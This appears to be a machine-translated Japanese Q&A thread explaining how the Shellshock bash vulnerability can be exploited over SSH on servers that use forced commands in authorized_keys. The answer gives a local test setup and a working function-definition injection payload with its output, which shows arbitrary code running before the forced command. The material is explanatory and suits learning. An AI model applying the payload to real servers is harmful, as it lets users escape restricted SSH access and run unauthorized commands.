SSHでShellshockを活用する方法は?

SSHでShellshockを活用する方法は?

明らかにShellshock BashエクスプロイトはCVE-2014-6271SSHを介してネットワーク経由で悪用される可能性があります。この脆弱性はApache / CGIを介してどのように機能するか想像できますが、SSHを介してどのように機能するか想像できません。

SSHがどのように悪用され、これがシステムにどのような害を及ぼすかについての例を提供できますか?

言う

AFAIU、認証されたユーザーだけがSSHを介してこの脆弱性を悪用する可能性があります。この脆弱性は、システムへの正当なアクセス権を持つ人にどのように使用されますか?私の言うことは、このバグには特権の昇格がないので(彼はルートになることはできません)、SSHを介して合法的にログインした場合にのみできることができるということです。

ベストアンサー1

これを悪用する1つの例は、authorized_keys強制コマンドを持つサーバーです。に項目を追加するときにSSH公開鍵を使用するときは、その項目が強制的に実行されるようにその~/.ssh/authorized_keys行の接頭辞を付けることができます。この脆弱性は、ターゲットユーザーがシェルです。command="foo"foobash

これは例でより意味がある可能性があるため、例は次のとおりです。

sudo useradd -d /testuser -s /bin/bash testuser
sudo mkdir -p /testuser/.ssh
sudo sh -c "echo command=\\\"echo starting sleep; sleep 1\\\" $(cat ~/.ssh/id_rsa.pub) > /testuser/.ssh/authorized_keys"
sudo chown -R testuser /testuser

testuserここでは、SSHキーを使用してSSH接続を強制するユーザーを設定しますecho starting sleep; sleep 1

次の方法でテストできます。

$ ssh testuser@localhost echo something else
starting sleep

コマンドはecho something else実行されませんでしたが、starting sleepshow force コマンドは実行されました。

次に、この脆弱性の使用方法を紹介します。

$ ssh testuser@localhost '() { :;}; echo MALICIOUS CODE'
MALICIOUS CODE
starting sleep

これは、環境変数が渡されたコマンドにsshd設定されているために機能します。SSH_ORIGINAL_COMMANDしたがって、私が話しているコマンドの代わりにsshdrunを使用しても、エクスプロイトのためにコードが実行され続けます。sleep

おすすめ記事